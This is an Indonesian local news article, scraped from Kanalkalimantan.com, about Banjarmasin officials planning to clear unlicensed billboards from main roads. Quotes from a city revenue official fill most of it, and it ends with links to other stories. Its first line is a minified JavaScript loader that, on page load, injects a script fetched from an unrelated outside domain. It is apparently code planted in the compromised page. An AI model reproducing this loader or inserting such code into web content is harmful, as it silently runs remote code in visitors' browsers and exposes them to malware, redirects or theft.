(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah baliho alias papan reklame yang membentang maupun berdiri di sejumlah jalan utama Kota Banjarmasin bakal kena penertiban.
Hal itu disampaikan Kabid Penagihan dan Pengawasan Badan Pengelolaan Keuangan Pendapat dan Aset Daerah (BPKPAD) Kota Banjarmasin Ashadi Himawan, pihaknya tahun ini akan melanjutkan penertiban baliho yang sudah tidak mempunyai izin atau tidak mendapatkan rekomendasi.
Adapun lokasi baliho-baliho bando tersebut di antaranya berada di Jalan Ahmad Yani, Jalan Pangeran Samudera, Jalan Brigjen Hasan Basri, Jalan Sutoyo S, Jalan Haryono MT, dan lainnya yang sudah tidak dikeluarkan rekomendasi.
“Jadi tahun ini kita akan bersurat bersama tim, surat resmi kepada pemiliknya. Karena sejak tahun 2018 sampai sekarang kita tidak menerima pembayaran sama sekali. Karena tidak ada sama sekali rekomendasi yang keluar,” katanya.
Baca juga: Mobil Anggota DPRD Kalsel Diduga Dibakar, Polisi Temukan Botol Isi Pertalite
Lebih lanjut, disampaikan pihaknya bersama Dinas PUPR dan Dinas Penanaman Modal Peizinan Terpadu Satu Pintu Kota Banjarmasin telah menolak rekomendasi, baik itu baliho yang melintang di jalan atau baliho bando, maupun baliho yang berdiri di tengah jalan.
“Jadi itu keputusan Pemko Banjarmasin untuk tidak ada lagi reklame yang berada di tengah jalan maupun yang melintang jalan dan membahayakan pengguna jalan,” ujarnya.
Ashadi mengatakan pihaknya akan melakukan rapat untuk tidanakan selanjutnya dan sekaligus dapat evaluasi untuk Tim Penataan maupun Tim Penegak Perda untuk tindak lanjut berikutnya.
Menurutnya walaupun tim sudah dibentuk sejak tahun 2021 lalu, namun tugas dan kewenangan eksekusi peneritiban ada pada Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarmasin.
Di sisi lain, Ashandi juga menyayangkan para pemilik baliho masih menayangkan iklan di baliho yang dilarang itu. Menurutnya walaupun pihaknya tidak menarik pajak, nanti secara persuasif akan kembali disurati yang bersangkutan untuk membongkar sendiri.
“Karena banyak di beberapa titik setelah dievaluasi teman-teman PUPR, DPMPTSP dan BPKPAD, Satpol PP dan Balai Jalan Nasional, bahwa reklame tersebut tidak bisa dikeluarkan rekomendasinya,” ujarnya Ashandi.
Saat ini, pihaknya berusaha melakukan rapat bersama dan masih melakukan pendekatan secara persuasif kepada pemilik baliho untuk melakukan pembongkaran sendiri sebelum dibongkar oleh petugas yang berwenang.
Baca juga: Polres HSU Lepas Tiga Armada Balik Gratis ke Banjarbaru dan Banjarmasin
“Bila pemilik yang bersangkutan tidak melakukan pembongkaran dengan masa tertentu, akan dibongkar oleh Pemko Banjarmasin yang dana anggarannya ada di Satpol PP Banjarmasin,” pungkas Ashandi.
Sebelumnya, pembongkaran baliho di Kota Banjarmasin telah dilakukan sejak tahun 2020 lalu, bahkan pembongkaran sampai mengundang polemik karena ada pemilik baliho bando yang sempat menggugat ke Pengadilan Tata Usaha Negara (PTUN). (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.